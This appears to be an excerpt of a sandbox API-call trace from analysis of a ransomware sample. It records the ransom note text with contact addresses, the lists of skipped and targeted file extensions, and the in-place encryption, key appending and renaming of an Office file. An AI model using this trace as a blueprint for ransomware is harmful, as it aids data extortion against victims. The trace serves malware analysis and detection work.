	[0081.229] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.229] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.230] CloseHandle (hObject=0x134) returned 1
	[0081.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28005a8 | out: hHeap=0x300000) returned 1
	[0081.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ff0d0 | out: hHeap=0x300000) returned 1
	[0081.230] RtlWakeConditionVariable () returned 0x365f70
	[0081.230] GetCurrentThreadId () returned 0x9f4
	[0081.230] GetCurrentThreadId () returned 0x9f4
	[0081.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ff0d0
	[0081.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800690 | out: hHeap=0x300000) returned 1
	[0081.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0081.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800690
	[0081.230] lstrlenW (lpString=".scr") returned 4
	[0081.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".scr") returned 0x0
	[0081.230] lstrlenW (lpString=".cmd") returned 4
	[0081.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".cmd") returned 0x0
	[0081.230] lstrlenW (lpString=".dll") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dll") returned 0x0
	[0081.231] lstrlenW (lpString=".bat") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".bat") returned 0x0
	[0081.231] lstrlenW (lpString=".cpl") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".cpl") returned 0x0
	[0081.231] lstrlenW (lpString=".sys") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".sys") returned 0x0
	[0081.231] lstrlenW (lpString=".msc") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".msc") returned 0x0
	[0081.231] lstrlenW (lpString=".com") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".com") returned 0x0
	[0081.231] lstrlenW (lpString=".lnk") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".lnk") returned 0x0
	[0081.231] lstrlenW (lpString=".msp") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".msp") returned 0x0
	[0081.231] lstrlenW (lpString=".pif") returned 4
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".pif") returned 0x0
	[0081.231] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.232] lstrlenW (lpString=".sqb") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".sqb") returned 0x0
	[0081.232] lstrlenW (lpString=".ost") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".ost") returned 0x0
	[0081.232] lstrlenW (lpString=".txt") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".txt") returned 0x0
	[0081.232] lstrlenW (lpString=".mdt") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".mdt") returned 0x0
	[0081.232] lstrlenW (lpString=".BDB") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".BDB") returned 0x0
	[0081.232] lstrlenW (lpString=".eql") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".eql") returned 0x0
	[0081.232] lstrlenW (lpString=".DBF") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DBF") returned 0x0
	[0081.232] lstrlenW (lpString=".EQL") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".EQL") returned 0x0
	[0081.232] lstrlenW (lpString=".FDB") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".FDB") returned 0x0
	[0081.232] lstrlenW (lpString=".EDB") returned 4
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".EDB") returned 0x0
	[0081.232] lstrlenW (lpString=".DACPAC") returned 7
	[0081.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DACPAC") returned 0x0
	[0081.233] lstrlenW (lpString=".VHD") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".VHD") returned 0x0
	[0081.233] lstrlenW (lpString=".DBV") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DBV") returned 0x0
	[0081.233] lstrlenW (lpString=".dacpac") returned 7
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dacpac") returned 0x0
	[0081.233] lstrlenW (lpString=".sdf") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".sdf") returned 0x0
	[0081.233] lstrlenW (lpString=".accdb") returned 6
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".accdb") returned 0x0
	[0081.233] lstrlenW (lpString=".DBX") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DBX") returned 0x0
	[0081.233] lstrlenW (lpString=".MDT") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".MDT") returned 0x0
	[0081.233] lstrlenW (lpString=".SQB") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".SQB") returned 0x0
	[0081.233] lstrlenW (lpString=".vhd") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".vhd") returned 0x0
	[0081.233] lstrlenW (lpString=".bac") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".bac") returned 0x0
	[0081.233] lstrlenW (lpString=".mdf") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".mdf") returned 0x0
	[0081.233] lstrlenW (lpString=".BAK") returned 4
	[0081.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".BAK") returned 0x0
	[0081.233] lstrlenW (lpString=".BAC") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".BAC") returned 0x0
	[0081.234] lstrlenW (lpString=".dbs") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dbs") returned 0x0
	[0081.234] lstrlenW (lpString=".vhdx") returned 5
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".vhdx") returned 0x0
	[0081.234] lstrlenW (lpString=".NDF") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".NDF") returned 0x0
	[0081.234] lstrlenW (lpString=".dat") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dat") returned 0x0
	[0081.234] lstrlenW (lpString=".DBS") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DBS") returned 0x0
	[0081.234] lstrlenW (lpString=".CKP") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".CKP") returned 0x0
	[0081.234] lstrlenW (lpString=".edb") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".edb") returned 0x0
	[0081.234] lstrlenW (lpString=".PST") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".PST") returned 0x0
	[0081.234] lstrlenW (lpString=".dbf") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dbf") returned 0x0
	[0081.234] lstrlenW (lpString=".SQL") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".SQL") returned 0x0
	[0081.234] lstrlenW (lpString=".pst") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".pst") returned 0x0
	[0081.234] lstrlenW (lpString=".dbv") returned 4
	[0081.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dbv") returned 0x0
	[0081.234] lstrlenW (lpString=".SDF") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".SDF") returned 0x0
	[0081.235] lstrlenW (lpString=".dtxs") returned 5
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dtxs") returned 0x0
	[0081.235] lstrlenW (lpString=".db3") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".db3") returned 0x0
	[0081.235] lstrlenW (lpString=".OST") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".OST") returned 0x0
	[0081.235] lstrlenW (lpString=".dbx") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dbx") returned 0x0
	[0081.235] lstrlenW (lpString=".DB3") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DB3") returned 0x0
	[0081.235] lstrlenW (lpString=".DAT") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DAT") returned 0x0
	[0081.235] lstrlenW (lpString=".VHDX") returned 5
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".VHDX") returned 0x0
	[0081.235] lstrlenW (lpString=".ndf") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".ndf") returned 0x0
	[0081.235] lstrlenW (lpString=".DB") returned 3
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DB") returned 0x0
	[0081.235] lstrlenW (lpString=".sql") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".sql") returned 0x0
	[0081.235] lstrlenW (lpString=".MYD") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".MYD") returned 0x0
	[0081.235] lstrlenW (lpString=".DBT") returned 4
	[0081.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DBT") returned 0x0
	[0081.236] lstrlenW (lpString=".ACCDB") returned 6
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".ACCDB") returned 0x0
	[0081.236] lstrlenW (lpString=".fdb") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".fdb") returned 0x0
	[0081.236] lstrlenW (lpString=".bak") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".bak") returned 0x0
	[0081.236] lstrlenW (lpString=".myd") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".myd") returned 0x0
	[0081.236] lstrlenW (lpString=".DTXS") returned 5
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".DTXS") returned 0x0
	[0081.236] lstrlenW (lpString=".ckp") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".ckp") returned 0x0
	[0081.236] lstrlenW (lpString=".dbt") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".dbt") returned 0x0
	[0081.236] lstrlenW (lpString=".db") returned 3
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".db") returned 0x0
	[0081.236] lstrlenW (lpString=".TXT") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".TXT") returned 0x0
	[0081.236] lstrlenW (lpString=".MDF") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".MDF") returned 0x0
	[0081.236] lstrlenW (lpString=".bdb") returned 4
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".bdb") returned 0x0
	[0081.236] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.237] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.238] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.238] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20123042691) returned 1
	[0081.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9a4715f0, dwHighDateTime=0x1d60e1e)) 
	[0081.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faa18
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa18 | out: hHeap=0x300000) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.241] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.241] GetLastError () returned 0x0
	[0081.241] GetLastError () returned 0x0
	[0081.241] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.242] GetLastError () returned 0x0
	[0081.242] GetLastError () returned 0x0
	[0081.242] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x25dfec0*=0x32b, lpOverlapped=0x0) returned 1
	[0081.342] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffcd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.342] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x25dfec0*=0x32b, lpOverlapped=0x0) returned 1
	[0081.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.343] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.343] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.343] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.343] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.343] CloseHandle (hObject=0x134) returned 1
	[0081.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3178
	[0081.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.~~~~")) returned 1
	[0081.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3178 | out: hHeap=0x300000) returned 1
	[0081.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.423] GetLastError () returned 0x0
	[0081.423] RtlWakeConditionVariable () returned 0x365f70
	[0081.423] GetCurrentThreadId () returned 0x9f4
	[0081.423] GetCurrentThreadId () returned 0x9f4
	[0081.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ba8 | out: hHeap=0x300000) returned 1
	[0081.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe130 | out: hHeap=0x300000) returned 1
	[0081.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ba8
	[0081.423] lstrlenW (lpString=".scr") returned 4
	[0081.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".scr") returned 0x0
	[0081.423] lstrlenW (lpString=".cmd") returned 4
	[0081.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpSrch=".cmd") returned 0x0
	[0081.423] lstrlenW (lpString=".dll") returned 4
